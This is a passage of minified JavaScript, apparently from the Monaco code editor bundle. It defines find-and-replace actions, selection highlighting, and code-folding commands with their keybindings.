e.call(this,{id:h.FIND_IDS.NextMatchFindAction,label:n.localize(1,null),alias:\"Find Next\",precondition:null,kbOpts:{kbExpr:b.EditorContextKeys.focus,primary:61,mac:{primary:2085,secondary:[61]}}})||this}return f(t,e),t.prototype._run=function(e){return e.moveToNextMatch()},t=v([d.editorAction],t)}(N);t.NextMatchFindAction=M;var T=function(e){function t(){return e.call(this,{id:h.FIND_IDS.PreviousMatchFindAction,label:n.localize(2,null),alias:\"Find Previous\",precondition:null,kbOpts:{kbExpr:b.EditorContextKeys.focus,primary:1085,mac:{primary:3109,secondary:[1085]}}})||this}return f(t,e),t.prototype._run=function(e){return e.moveToPrevMatch()},t=v([d.editorAction],t)}(N);t.PreviousMatchFindAction=T;var k=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),t.prototype.run=function(e,t){var n=L.get(t);if(n){var i=g.getSelectionSearchString(t);i&&n.setSearchString(i),this._run(n)||(n.start({forceRevealReplace:!1,seedSearchStringFromSelection:!1,shouldFocus:0,shouldAnimate:!0}),this._run(n))}},t}(d.EditorAction);t.SelectionMatchFindAction=k;var I=function(e){function t(){return e.call(this,{id:h.FIND_IDS.NextSelectionMatchFindAction,label:n.localize(3,null),alias:\"Find Next Selection\",precondition:null,kbOpts:{kbExpr:b.EditorContextKeys.focus,primary:2109}})||this}return f(t,e),t.prototype._run=function(e){return e.moveToNextMatch()},t=v([d.editorAction],t)}(k);t.NextSelectionMatchFindAction=I;var D=function(e){function t(){return e.call(this,{id:h.FIND_IDS.PreviousSelectionMatchFindAction,label:n.localize(4,null),alias:\"Find Previous Selection\",precondition:null,kbOpts:{kbExpr:b.EditorContextKeys.focus,primary:3133}})||this}return f(t,e),t.prototype._run=function(e){return e.moveToPrevMatch()},t=v([d.editorAction],t)}(k);t.PreviousSelectionMatchFindAction=D;var O=function(e){function t(){return e.call(this,{id:h.FIND_IDS.StartFindReplaceAction,label:n.localize(5,null),alias:\"Replace\",precondition:null,kbOpts:{kbExpr:null,primary:2086,mac:{primary:2596}}})||this}return f(t,e),t.prototype.run=function(e,t){if(!t.getConfiguration().readOnly){var n=L.get(t),i=t.getSelection(),o=!i.isEmpty()&&i.startLineNumber===i.endLineNumber,r=n.getState().searchString||o?2:1;n&&n.start({forceRevealReplace:!0,seedSearchStringFromSelection:o,shouldFocus:r,shouldAnimate:!0})}},t=v([d.editorAction],t)}(d.EditorAction);t.StartFindReplaceAction=O;var R=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),t.prototype._getNextMatch=function(e){var t=E(e,{changeFindSearchString:!0,allowMultiline:!0,highlightFindOptions:!0});if(!t)return null;if(t.currentMatch)return t.currentMatch;var n=e.getSelections(),i=n[n.length-1],o=e.getModel().findNextMatch(t.searchText,i.getEndPosition(),!1,t.matchCase,t.wholeWord?e.getConfiguration().wordSeparators:null,!1);return o?new u.Selection(o.range.startLineNumber,o.range.startColumn,o.range.endLineNumber,o.range.endColumn):null},t}(d.EditorAction);t.SelectNextFindMatchAction=R;var P=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),t.prototype._getPreviousMatch=function(e){var t=E(e,{changeFindSearchString:!0,allowMultiline:!0,highlightFindOptions:!0});if(!t)return null;if(t.currentMatch)return t.currentMatch;var n=e.getSelections(),i=n[n.length-1],o=e.getModel().findPreviousMatch(t.searchText,i.getStartPosition(),!1,t.matchCase,t.wholeWord?e.getConfiguration().wordSeparators:null,!1);return o?new u.Selection(o.range.startLineNumber,o.range.startColumn,o.range.endLineNumber,o.range.endColumn):null},t}(d.EditorAction);t.SelectPreviousFindMatchAction=P;var A=function(e){function t(){return e.call(this,{id:h.FIND_IDS.AddSelectionToNextFindMatchAction,label:n.localize(6,null),alias:\"Add Selection To Next Find Match\",precondition:null,kbOpts:{kbExpr:b.EditorContextKeys.focus,primary:2082}})||this}return f(t,e),t.prototype.run=function(e,t){var n=t.getSelections();if(n.length>1){var i=t.getModel(),o=L.get(t);if(!o)return;var r=o.getState().matchCase,s=!0,a=i.getValueInRange(n[0]);r||(a=a.toLowerCase());for(var l=1,c=n.length;l<c;l++){if((p=n[l]).isEmpty()){s=!1;break}var d=i.getValueInRange(p);if(r||(d=d.toLowerCase()),a!==d){s=!1;break}}if(!s){for(var h=[],l=0,c=n.length;l<c;l++){var p=n[l];if(p.isEmpty()){var f=t.getModel().getWordAtPosition(p.getStartPosition());if(f){h[l]=new u.Selection(p.startLineNumber,f.startColumn,p.startLineNumber,f.endColumn);continue}}h[l]=p}return void t.setSelections(h)}}var g=this._getNextMatch(t);g&&(t.setSelections(n.concat(g)),t.revealRangeInCenterIfOutsideViewport(g))},t=v([d.editorAction],t)}(R);t.AddSelectionToNextFindMatchAction=A;var F=function(e){function t(){return e.call(this,{id:h.FIND_IDS.AddSelectionToPreviousFindMatchAction,label:n.localize(7,null),alias:\"Add Selection To Previous Find Match\",precondition:null})||this}return f(t,e),t.prototype.run=function(e,t){var n=this._getPreviousMatch(t);if(n){var i=t.getSelections();t.setSelections(i.concat(n)),t.revealRangeInCenterIfOutsideViewport(n)}},t=v([d.editorAction],t)}(P);t.AddSelectionToPreviousFindMatchAction=F;var W=function(e){function t(){return e.call(this,{id:h.FIND_IDS.MoveSelectionToNextFindMatchAction,label:n.localize(8,null),alias:\"Move Last Selection To Next Find Match\",precondition:null,kbOpts:{kbExpr:b.EditorContextKeys.focus,primary:o.KeyChord(2089,2082)}})||this}return f(t,e),t.prototype.run=function(e,t){var n=this._getNextMatch(t);if(n){var i=t.getSelections();t.setSelections(i.slice(0,i.length-1).concat(n)),t.revealRangeInCenterIfOutsideViewport(n)}},t=v([d.editorAction],t)}(R);t.MoveSelectionToNextFindMatchAction=W;var B=function(e){function t(){return e.call(this,{id:h.FIND_IDS.MoveSelectionToPreviousFindMatchAction,label:n.localize(9,null),alias:\"Move Last Selection To Previous Find Match\",precondition:null})||this}return f(t,e),t.prototype.run=function(e,t){var n=this._getPreviousMatch(t);if(n){var i=t.getSelections();t.setSelections(i.slice(0,i.length-1).concat(n)),t.revealRangeInCenterIfOutsideViewport(n)}},t=v([d.editorAction],t)}(P);t.MoveSelectionToPreviousFindMatchAction=B;var V=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),t.prototype.run=function(e,t){var n=L.get(t);if(!n)return null;var i=null,o=n.getState();if(o.isRevealed&&o.isRegex&&o.searchString.length>0)i=t.getModel().findMatches(o.searchString,!0,o.isRegex,o.matchCase,o.wholeWord?t.getConfiguration().wordSeparators:null,!1).map(function(e){return e.range});else{var r=E(t,{changeFindSearchString:!0,allowMultiline:!0,highlightFindOptions:!0});if(!r)return;i=t.getModel().findMatches(r.searchText,!0,!1,r.matchCase,r.wholeWord?t.getConfiguration().wordSeparators:null,!1).map(function(e){return e.range})}if(i.length>0){for(var s=t.getSelection(),a=0,l=i.length;a<l;a++){var c=i[a];if(c.intersectRanges(s)){i.splice(a,1),i.unshift(c);break}}t.setSelections(i.map(function(e){return new u.Selection(e.startLineNumber,e.startColumn,e.endLineNumber,e.endColumn)}))}},t}(d.EditorAction);t.AbstractSelectHighlightsAction=V;var H=function(e){function t(){return e.call(this,{id:\"editor.action.selectHighlights\",label:n.localize(10,null),alias:\"Select All Occurrences of Find Match\",precondition:null,kbOpts:{kbExpr:b.EditorContextKeys.focus,primary:3114}})||this}return f(t,e),t=v([d.editorAction],t)}(V);t.SelectHighlightsAction=H;var z=function(e){function t(){return e.call(this,{id:\"editor.action.changeAll\",label:n.localize(11,null),alias:\"Change All Occurrences\",precondition:b.EditorContextKeys.writable,kbOpts:{kbExpr:b.EditorContextKeys.textFocus,primary:2108},menuOpts:{group:\"1_modification\",order:1.2}})||this}return f(t,e),t=v([d.editorAction],t)}(V);t.CompatChangeAll=z;var K=function(){function e(e,t,n,i){this.searchText=t,this.matchCase=n,this.wordSeparators=i}return e.softEquals=function(e,t){return!e&&!t||!(!e||!t)&&(e.searchText===t.searchText&&e.matchCase===t.matchCase&&e.wordSeparators===t.wordSeparators)},e}(),U=function(e){function t(t){var n=e.call(this)||this;return n.editor=t,n._isEnabled=t.getConfiguration().contribInfo.selectionHighlight,n.decorations=[],n.updateSoon=n._register(new _.RunOnceScheduler(function(){return n._update()},300)),n.state=null,n._register(t.onDidChangeConfiguration(function(e){n._isEnabled=t.getConfiguration().contribInfo.selectionHighlight})),n._register(t.onDidChangeCursorSelection(function(e){n._isEnabled&&(e.selection.isEmpty()?e.reason===C.CursorChangeReason.Explicit?(!n.state||n.state.lastWordUnderCursor&&n.state.lastWordUnderCursor.containsPosition(e.selection.getStartPosition())||n._setState(null),n.updateSoon.schedule()):n._setState(null):n._update())})),n._register(t.onDidChangeModel(function(e){n._setState(null)})),n._register(L.get(t).getState().addChangeListener(function(e){n._update()})),n}return f(t,e),n=t,t.prototype.getId=function(){return n.ID},t.prototype._update=function(){this._setState(n._createState(this._isEnabled,this.editor))},t._createState=function(e,t){var n=t.getModel();if(!n)return null;var i=t.getConfiguration(),o=null;if(!e)return null;var r=E(t,{changeFindSearchString:!1,allowMultiline:!1,highlightFindOptions:!1});if(!r)return null;var s=m.DocumentHighlightProviderRegistry.has(n);if(r.currentMatch){if(s)return null;if(!i.contribInfo.occurrencesHighlight)return null;o=r.currentMatch}if(/^[ \\t]+$/.test(r.searchText))return null;if(r.searchText.length>200)return null;var a=L.get(t);if(!a)return null;var u=a.getState().matchCase,l=t.getSelections(),c=n.getValueInRange(l[0]);u||(c=c.toLowerCase());for(var d=1;d<l.length;d++){var h=n.getValueInRange(l[d]);if(u||(h=h.toLowerCase()),c!==h)return null}return new K(o,r.searchText,r.matchCase,r.wholeWord?t.getConfiguration().wordSeparators:null)},t.prototype._setState=function(e){if(K.softEquals(this.state,e))this.state=e;else if(this.state=e,this.state){var t=this.editor.getModel(),i=m.DocumentHighlightProviderRegistry.has(t),o=t.findMatches(this.state.searchText,!0,!1,this.state.matchCase,this.state.wordSeparators,!1).map(function(e){return e.range});o.sort(a.Range.compareRangesUsingStarts);var r=this.editor.getSelections();r.sort(a.Range.compareRangesUsingStarts);for(var s=[],u=0,l=0,c=o.length,d=r.length;u<c;){var h=o[u];if(l>=d)s.push(h),u++;else{var p=a.Range.compareRangesUsingStarts(h,r[l]);p<0?(s.push(h),u++):p>0?l++:(u++,l++)}}var f=s.map(function(e){return{range:e,options:i?n._SELECTION_HIGHLIGHT:n._SELECTION_HIGHLIGHT_OVERVIEW}});this.decorations=this.editor.deltaDecorations(this.decorations,f)}else this.decorations.length>0&&(this.decorations=this.editor.deltaDecorations(this.decorations,[]))},t.prototype.dispose=function(){this._setState(null),e.prototype.dispose.call(this)},t.ID=\"editor.contrib.selectionHighlighter\",t._SELECTION_HIGHLIGHT_OVERVIEW=S.ModelDecorationOptions.register({stickiness:c.TrackedRangeStickiness.NeverGrowsWhenTypingAtEdges,className:\"selectionHighlight\",overviewRuler:{color:\"#A0A0A0\",darkColor:\"#A0A0A0\",position:c.OverviewRulerLane.Center}}),t._SELECTION_HIGHLIGHT=S.ModelDecorationOptions.register({stickiness:c.TrackedRangeStickiness.NeverGrowsWhenTypingAtEdges,className:\"selectionHighlight\"}),t=n=v([d.commonEditorContribution],t);var n}(r.Disposable);t.SelectionHighlighter=U;var j=function(e){function i(){return e.call(this,{id:h.FIND_IDS.ShowNextFindTermAction,label:n.localize(12,null),alias:\"Show Next Find Term\",precondition:t.CONTEXT_FIND_WIDGET_VISIBLE,kbOpts:{weight:d.CommonEditorRegistry.commandWeight(5),kbExpr:s.ContextKeyExpr.and(t.CONTEXT_FIND_INPUT_FOCUSSED,b.EditorContextKeys.focus),primary:h.ShowNextFindTermKeybinding.primary,mac:h.ShowNextFindTermKeybinding.mac,win:h.ShowNextFindTermKeybinding.win,linux:h.ShowNextFindTermKeybinding.linux}})||this}return f(i,e),i.prototype._run=function(e){return e.showNextFindTerm()},i=v([d.editorAction],i)}(N);t.ShowNextFindTermAction=j;var q=function(e){function i(){return e.call(this,{id:h.FIND_IDS.ShowPreviousFindTermAction,label:n.localize(13,null),alias:\"Find Show Previous Find Term\",precondition:t.CONTEXT_FIND_WIDGET_VISIBLE,kbOpts:{weight:d.CommonEditorRegistry.commandWeight(5),kbExpr:s.ContextKeyExpr.and(t.CONTEXT_FIND_INPUT_FOCUSSED,b.EditorContextKeys.focus),primary:h.ShowPreviousFindTermKeybinding.primary,mac:h.ShowPreviousFindTermKeybinding.mac,win:h.ShowPreviousFindTermKeybinding.win,linux:h.ShowPreviousFindTermKeybinding.linux}})||this}return f(i,e),i.prototype._run=function(e){return e.showPreviousFindTerm()},i=v([d.editorAction],i)}(N);t.ShpwPreviousFindTermAction=q;var G=d.EditorCommand.bindToContribution(L.get);d.CommonEditorRegistry.registerEditorCommand(new G({id:h.FIND_IDS.CloseFindWidgetCommand,precondition:t.CONTEXT_FIND_WIDGET_VISIBLE,handler:function(e){return e.closeFindWidget()},kbOpts:{weight:d.CommonEditorRegistry.commandWeight(5),kbExpr:b.EditorContextKeys.focus,primary:9,secondary:[1033]}})),d.CommonEditorRegistry.registerEditorCommand(new G({id:h.FIND_IDS.ToggleCaseSensitiveCommand,precondition:null,handler:function(e){return e.toggleCaseSensitive()},kbOpts:{weight:d.CommonEditorRegistry.commandWeight(5),kbExpr:b.EditorContextKeys.focus,primary:h.ToggleCaseSensitiveKeybinding.primary,mac:h.ToggleCaseSensitiveKeybinding.mac,win:h.ToggleCaseSensitiveKeybinding.win,linux:h.ToggleCaseSensitiveKeybinding.linux}})),d.CommonEditorRegistry.registerEditorCommand(new G({id:h.FIND_IDS.ToggleWholeWordCommand,precondition:null,handler:function(e){return e.toggleWholeWords()},kbOpts:{weight:d.CommonEditorRegistry.commandWeight(5),kbExpr:b.EditorContextKeys.focus,primary:h.ToggleWholeWordKeybinding.primary,mac:h.ToggleWholeWordKeybinding.mac,win:h.ToggleWholeWordKeybinding.win,linux:h.ToggleWholeWordKeybinding.linux}})),d.CommonEditorRegistry.registerEditorCommand(new G({id:h.FIND_IDS.ToggleRegexCommand,precondition:null,handler:function(e){return e.toggleRegex()},kbOpts:{weight:d.CommonEditorRegistry.commandWeight(5),kbExpr:b.EditorContextKeys.focus,primary:h.ToggleRegexKeybinding.primary,mac:h.ToggleRegexKeybinding.mac,win:h.ToggleRegexKeybinding.win,linux:h.ToggleRegexKeybinding.linux}})),d.CommonEditorRegistry.registerEditorCommand(new G({id:h.FIND_IDS.ToggleSearchScopeCommand,precondition:null,handler:function(e){return e.toggleSearchScope()},kbOpts:{weight:d.CommonEditorRegistry.commandWeight(5),kbExpr:b.EditorContextKeys.focus,primary:h.ToggleSearchScopeKeybinding.primary,mac:h.ToggleSearchScopeKeybinding.mac,win:h.ToggleSearchScopeKeybinding.win,linux:h.ToggleSearchScopeKeybinding.linux}})),d.CommonEditorRegistry.registerEditorCommand(new G({id:h.FIND_IDS.ReplaceOneAction,precondition:t.CONTEXT_FIND_WIDGET_VISIBLE,handler:function(e){return e.replace()},kbOpts:{weight:d.CommonEditorRegistry.commandWeight(5),kbExpr:b.EditorContextKeys.focus,primary:3094}})),d.CommonEditorRegistry.registerEditorCommand(new G({id:h.FIND_IDS.ReplaceAllAction,precondition:t.CONTEXT_FIND_WIDGET_VISIBLE,handler:function(e){return e.replaceAll()},kbOpts:{weight:d.CommonEditorRegistry.commandWeight(5),kbExpr:b.EditorContextKeys.focus,primary:2563}})),d.CommonEditorRegistry.registerEditorCommand(new G({id:h.FIND_IDS.SelectAllMatchesAction,precondition:t.CONTEXT_FIND_WIDGET_VISIBLE,handler:function(e){return e.selectAllMatches()},kbOpts:{weight:d.CommonEditorRegistry.commandWeight(5),kbExpr:b.EditorContextKeys.focus,primary:515}}))}),define(d[458],h([1,0,349,29,4,18,40,3,2,13,25,30,333,257,256,21,328]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m){\"use strict\";function _(e){if(!i.isUndefined(e)){if(!i.isObject(e))return!1;var t=e;if(!i.isUndefined(t.levels)&&!i.isNumber(t.levels))return!1;if(!i.isUndefined(t.direction)&&!i.isString(t.direction))return!1}return!0}Object.defineProperty(t,\"__esModule\",{value:!0});var y=function(){function e(e){var t=this;this.editor=e,this._isEnabled=this.editor.getConfiguration().contribInfo.folding,this._showFoldingControls=this.editor.getConfiguration().contribInfo.showFoldingControls,this.globalToDispose=[],this.localToDispose=[],this.decorations=[],this.computeToken=0,this.globalToDispose.push(this.editor.onDidChangeModel(function(){return t.onModelChanged()})),this.globalToDispose.push(this.editor.onDidChangeConfiguration(function(e){var n=t._isEnabled;t._isEnabled=t.editor.getConfiguration().contribInfo.folding,n!==t._isEnabled&&t.onModelChanged();var i=t._showFoldingControls;t._showFoldingControls=t.editor.getConfiguration().contribInfo.showFoldingControls,i!==t._showFoldingControls&&t.updateHideFoldIconClass()})),this.onModelChanged()}return t=e,e.get=function(e){return e.getContribution(g.ID)},e.prototype.getId=function(){return g.ID},e.prototype.dispose=function(){this.cleanState(),this.globalToDispose=a.dispose(this.globalToDispose)},e.prototype.updateHideFoldIconClass=function(){var e=this.editor.getDomNode();e&&o.toggleClass(e,\"alwaysShowFoldIcons\",\"always\"===this._showFoldingControls)},e.prototype.saveViewState=function(){var e=this.editor.getModel();if(!e)return{};var t=[];return this.decorations.forEach(function(n){if(n.isCollapsed){var i=n.getDecorationRange(e);i&&t.push({startLineNumber:i.startLineNumber,endLineNumber:i.endLineNumber,indent:n.indent,isCollapsed:!0})}}),{collapsedRegions:t,lineCount:e.getLineCount()}},e.prototype.restoreViewState=function(e){var t=this.editor.getModel();t&&this._isEnabled&&e&&Array.isArray(e.collapsedRegions)&&0!==e.collapsedRegions.length&&e.lineCount===t.getLineCount()&&(this.cleanState(),this.applyRegions(e.collapsedRegions),this.onModelChanged())},e.prototype.cleanState=function(){this.localToDispose=a.dispose(this.localToDispose)},e.prototype.applyRegions=function(e){var n=this,i=this.editor.getModel();if(i){var o=!1;e=p.limitByIndent(e,t.MAX_FOLDING_REGIONS).sort(function(e,t){return e.startLineNumber-t.startLineNumber}),this.editor.changeDecorations(function(t){for(var r=[],s=0,a=0;a<n.decorations.length&&s<e.length;){var u=(c=n.decorations[a]).getDecorationRange(i);if(u){for(;s<e.length&&u.startLineNumber>e[s].startLineNumber;){d=e[s];o=o||d.isCollapsed,r.push(new h.CollapsibleRegion(d,i,t)),s++}if(s<e.length){var l=e[s];u.startLineNumber<l.startLineNumber?(o=o||c.isCollapsed,c.dispose(t),a++):u.startLineNumber===l.startLineNumber&&(!c.isCollapsed||c.startLineNumber===l.startLineNumber&&c.endLineNumber===l.endLineNumber||(o=!0),l.isCollapsed=c.isCollapsed,c.update(l,i,t),r.push(c),a++,s++)}}else o=o||c.isCollapsed,c.dispose(t),a++}for(;a<n.decorations.length;){var c=n.decorations[a];o=o||c.isCollapsed,c.dispose(t),a++}for(;s<e.length;){var d=e[s];o=o||d.isCollapsed,r.push(new h.CollapsibleRegion(d,i,t)),s++}n.decorations=r}),o&&this.updateHiddenAreas()}},e.prototype.onModelChanged=function(){var e=this;this.cleanState(),this.updateHideFoldIconClass();var t=this.editor.getModel();this._isEnabled&&t&&(this.computeAndApplyCollapsibleRegions(),this.contentChangedScheduler=new r.RunOnceScheduler(function(){return e.computeAndApplyCollapsibleRegions()},200),this.cursorChangedScheduler=new r.RunOnceScheduler(function(){return e.revealCursor()},200),this.localToDispose.push(this.contentChangedScheduler),this.localToDispose.push(this.cursorChangedScheduler),this.localToDispose.push(this.editor.onDidChangeModelContent(function(t){return e.contentChangedScheduler.schedule()})),this.localToDispose.push(this.editor.onDidChangeCursorPosition(function(t){e._isEnabled&&e.cursorChangedScheduler.schedule()})),this.localToDispose.push(this.editor.onMouseDown(function(t){return e.onEditorMouseDown(t)})),this.localToDispose.push(this.editor.onMouseUp(function(t){return e.onEditorMouseUp(t)})),this.localToDispose.push({dispose:function(){return e.disposeDecorations()}}))},e.prototype.computeAndApplyCollapsibleRegions=function(){var e=this.editor.getModel();this.applyRegions(e?p.computeRanges(e):[])},e.prototype.disposeDecorations=function(){var e=this;this.editor.changeDecorations(function(t){e.decorations.forEach(function(e){return e.dispose(t)})}),this.decorations=[],this.editor.setHiddenAreas([])},e.prototype.revealCursor=function(){var e=this,t=this.editor.getModel();if(t){var n=!1,i=this.editor.getSelections();this.editor.changeDecorations(function(o){return e.decorations.forEach(function(e){if(e.isCollapsed){var r=e.getDecorationRange(t);if(r)for(var s=0,a=i;s<a.length;s++){var u=a[s];if(r.startLineNumber<u.selectionStartLineNumber&&u.selectionStartLineNumber<=r.endLineNumber){e.setCollapsed(!1,o),n=!0;break}}}})}),n&&this.updateHiddenAreas(this.editor.getPosition().lineNumber)}},e.prototype.onEditorMouseDown=function(e){if(this.mouseDownInfo=null,0!==this.decorations.length){var t=e.target.range;if(t&&e.event.leftButton){var n=this.editor.getModel(),i=!1;switch(e.target.type){case c.MouseTargetType.GUTTER_LINE_DECORATIONS:i=!0;break;case c.MouseTargetType.CONTENT_EMPTY:case c.MouseTargetType.CONTENT_TEXT:if(t.startColumn===n.getLineMaxColumn(t.startLineNumber))break;return;default:return}this.mouseDownInfo={lineNumber:t.startLineNumber,iconClicked:i}}}},e.prototype.onEditorMouseUp=function(e){var t=this;if(this.mouseDownInfo){var n=this.mouseDownInfo.lineNumber,i=this.mouseDownInfo.iconClicked,o=e.target.range;if(o&&o.startLineNumber===n){var r=this.editor.getModel();if(i){if(e.target.type!==c.MouseTargetType.GUTTER_LINE_DECORATIONS)return}else if(o.startColumn!==r.getLineMaxColumn(n))return;this.editor.changeDecorations(function(e){for(var o=0;o<t.decorations.length;o++){var s=t.decorations[o],a=s.getDecorationRange(r);if(a&&a.startLineNumber===n)return void((i||s.isCollapsed)&&(s.setCollapsed(!s.isCollapsed,e),t.updateHiddenAreas(n)))}})}}},e.prototype.updateHiddenAreas=function(e){var t=this.editor.getModel(),n=this.editor.getSelections(),i=!1,o=[];this.decorations.filter(function(e){return e.isCollapsed}).forEach(function(e){var r=e.getDecorationRange(t);r&&(o.push(new u.Range(r.startLineNumber+1,1,r.endLineNumber,1)),n.forEach(function(e,o){u.Range.containsPosition(r,e.getStartPosition())&&(n[o]=e=e.setStartPosition(r.startLineNumber,t.getLineMaxColumn(r.startLineNumber)),i=!0),u.Range.containsPosition(r,e.getEndPosition())&&(n[o]=e.setEndPosition(r.startLineNumber,t.getLineMaxColumn(r.startLineNumber)),i=!0)}))}),i&&this.editor.setSelections(n),this.editor.setHiddenAreas(o),e&&this.editor.revealPositionInCenterIfOutsideViewport({lineNumber:e,column:1})},e.prototype.unfold=function(e){var t=this,n=this.editor.getModel(),i=!1,o=this.editor.getSelections(),r=!1;o.forEach(function(s,a){var u=h.getCollapsibleRegionsToUnfoldAtLine(t.decorations,n,s.startLineNumber,e);if(u.length>0&&(u.forEach(function(e,n){t.editor.changeDecorations(function(t){e.setCollapsed(!1,t),i=!0})}),!h.doesLineBelongsToCollapsibleRegion(u[0].foldingRange,s.startLineNumber))){var l=u[0].startLineNumber,c=n.getLineMaxColumn(u[0].startLineNumber);o[a]=s.setEndPosition(l,c).setStartPosition(l,c),r=!0}}),r&&this.editor.setSelections(o),i&&this.updateHiddenAreas(o[0].startLineNumber)},e.prototype.fold=function(e,t){var n=this,i=!1,o=this.editor.getSelections();o.forEach(function(o){var r=o.startLineNumber;h.getCollapsibleRegionsToFoldAtLine(n.decorations,n.editor.getModel(),r,e,t).forEach(function(e){return n.editor.changeDecorations(function(t){e.setCollapsed(!0,t),i=!0})})}),i&&this.updateHiddenAreas(o[0].startLineNumber)},e.prototype.foldUnfoldRecursively=function(e){var t=this,n=!1,i=this.editor.getModel(),o=this.editor.getSelections();o.forEach(function(o){for(var r,s=o.startLineNumber,a=[],u=0,l=t.decorations.length;u<l;u++){var c=t.decorations[u],d=c.getDecorationRange(i);if(d&&(d.startLineNumber>=s&&(d.endLineNumber<=r||void 0===r))){if(d.startLineNumber!==s&&void 0===r)return;r=r||d.endLineNumber,a.push(c)}}a.length>0&&a.forEach(function(i){t.editor.changeDecorations(function(t){i.setCollapsed(e,t),n=!0})})}),n&&this.updateHiddenAreas(o[0].startLineNumber)},e.prototype.foldAll=function(){this.changeAll(!0)},e.prototype.unfoldAll=function(){this.changeAll(!1)},e.prototype.changeAll=function(e){var t=this;if(this.decorations.length>0){var n=!0;this.editor.changeDecorations(function(i){t.decorations.forEach(function(t){e!==t.isCollapsed&&(t.setCollapsed(e,i),n=!0)})}),n&&this.updateHiddenAreas(this.editor.getPosition().lineNumber)}},e.prototype.foldLevel=function(e,t){var n=this,i=this.editor.getModel(),o=[i.getFullModelRange()],r=!1;this.editor.changeDecorations(function(s){n.decorations.forEach(function(n){var a=n.getDecorationRange(i);if(a){for(;!u.Range.containsRange(o[o.length-1],a);)o.pop();o.push(a),o.length!==e+1||n.isCollapsed||t.some(function(e){return a.startLineNumber<e&&e<=a.endLineNumber})||(n.setCollapsed(!0,s),r=!0)}})}),r&&this.updateHiddenAreas(t[0])},e.MAX_FOLDING_REGIONS=5e3,e=t=v([d.editorContribution],e);var t}();t.FoldingController=y;for(var C=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),t.prototype.runEditorCommand=function(e,t,n){var i=y.get(t);i&&(this.reportTelemetry(e,t),this.invoke(i,t,n))},t.prototype.run=function(e,t){},t}(l.EditorAction),b=(function(e){function t(){return e.call(this,{id:\"editor.unfold\",label:n.localize(0,null),alias:\"Unfold\",precondition:null,kbOpts:{kbExpr:m.EditorContextKeys.textFocus,primary:3161,mac:{primary:2649}},description:{description:\"Unfold the content in the editor\",args:[{name:\"Unfold editor argument\",description:\"Property-value pairs that can be passed through this argument:\\n\\t\\t\\t\\t\\t\\t\\t* 'level': Number of levels to unfold\\n\\t\\t\\t\\t\\t\\t\",constraint:_}]}})||this}f(t,e),t.prototype.invoke=function(e,t,n){e.unfold(n?n.levels||1:1)},t=v([l.editorAction],t)}(C),function(e){function t(){return e.call(this,{id:\"editor.unfoldRecursively\",label:n.localize(1,null),alias:\"Unfold Recursively\",precondition:null,kbOpts:{kbExpr:m.EditorContextKeys.textFocus,primary:s.KeyChord(2089,2137)}})||this}f(t,e),t.prototype.invoke=function(e,t,n){e.foldUnfoldRecursively(!1)},t=v([l.editorAction],t)}(C),function(e){function t(){return e.call(this,{id:\"editor.fold\",label:n.localize(2,null),alias:\"Fold\",precondition:null,kbOpts:{kbExpr:m.EditorContextKeys.textFocus,primary:3159,mac:{primary:2647}},description:{description:\"Fold the content in the editor\",args:[{name:\"Fold editor argument\",description:\"Property-value pairs that can be passed through this argument:\\n\\t\\t\\t\\t\\t\\t\\t* 'levels': Number of levels to fold\\n\\t\\t\\t\\t\\t\\t\\t* 'up': If 'true', folds given number of levels up otherwise folds down\\n\\t\\t\\t\\t\\t\\t\",constraint:_}]}})||this}f(t,e),t.prototype.invoke=function(e,t,n){n=n||{levels:1,direction:\"up\"},e.fold(n.levels||1,\"up\"===n.direction)},t=v([l.editorAction],t)}(C),function(e){function t(){return e.call(this,{id:\"editor.foldRecursively\",label:n.localize(3,null),alias:\"Fold Recursively\",precondition:null,kbOpts:{kbExpr:m.EditorContextKeys.textFocus,primary:s.KeyChord(2089,2135)}})||this}f(t,e),t.prototype.invoke=function(e,t){e.foldUnfoldRecursively(!0)},t=v([l.editorAction],t)}(C),function(e){function t(){return e.call(this,{id:\"editor.foldAll\",label:n.localize(4,null),alias:\"Fold All\",precondition:null,kbOpts:{kbExpr:m.EditorContextKeys.textFocus,primary:s.KeyChord(2089,2069)}})||this}f(t,e),t.prototype.invoke=function(e,t){e.foldAll()},t=v([l.editorAction],t)}(C),function(e){function t(){return e.call(this,{id:\"editor.unfoldAll\",label:n.localize(5,null),alias:\"Unfold All\",precondition:null,kbOpts:{kbExpr:m.EditorContextKeys.textFocus,primary:s.KeyChord(2089,2088)}})||this}f(t,e),t.prototype.invoke=function(e,t){e.unfoldAll()},t=v([l.editorAction],t)}(C),function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),t.prototype.getFoldingLevel=function(){return parseInt(this.id.substr(t.ID_PREFIX.length))},t.prototype.getSelectedLines=function(e){return e.getSelections().map(function(e){return e.startLineNumber})},t.prototype.invoke=function(e,t){e.foldLevel(this.getFoldingLevel(),this.getSelectedLines(t))},t.ID_PREFIX=\"editor.foldLevel\",t.ID=function(e){return t.ID_PREFIX+e},t}(C)),w=1;w<=9;w++)l.CommonEditorRegistry.registerEditorAction(new b({id:b.ID(w),label:n.localize(6,null,w),alias:\"Fold Level \"+w,precondition:null,kbOpts:{kbExpr:m.EditorContextKeys.textFocus,primary:s.KeyChord(2089,2048|21+w)}}))}),define(d[459],h([1,0,10,24,33,7,2,13,17,56,18]),function(e,t,n,i,o,r,s,a,u,l,c){\"use strict\";function d(e,t,i){var s=u.DocumentRangeFormattingEditProviderRegistry.ordered(e);if(0===s.length)return r.TPromise.as(void 0);var a;return c.sequence(s.map(function(r){if(o.isFalsyOrEmpty(a))return function(){return c.asWinJsPromise(function(n){return r.provideDocumentRangeFormattingEdits(e,t,i,n)}).then(function(e){a=e},n.onUnexpectedExternalError)}})).then(function(){return a})}function h(e,t){var i=u.DocumentFormattingEditProviderRegistry.ordered(e);if(0===i.length)return d(e,e.getFullModelRange(),t);var r;return c.sequence(i.map(function(i){if(o.isFalsyOrEmpty(r))return function(){return c.asWinJsPromise(function(n){return i.provideDocumentFormattingEdits(e,t,n)}).then(function(e){r=e},n.onUnexpectedExternalError)}})).then(function(){return r})}function p(e,t,i,o){var s=u.OnTypeFormattingEditProviderRegistry.ordered(e)[0];return s?s.autoFormatTriggerCharacters.indexOf(i)<0?r.TPromise.as(void 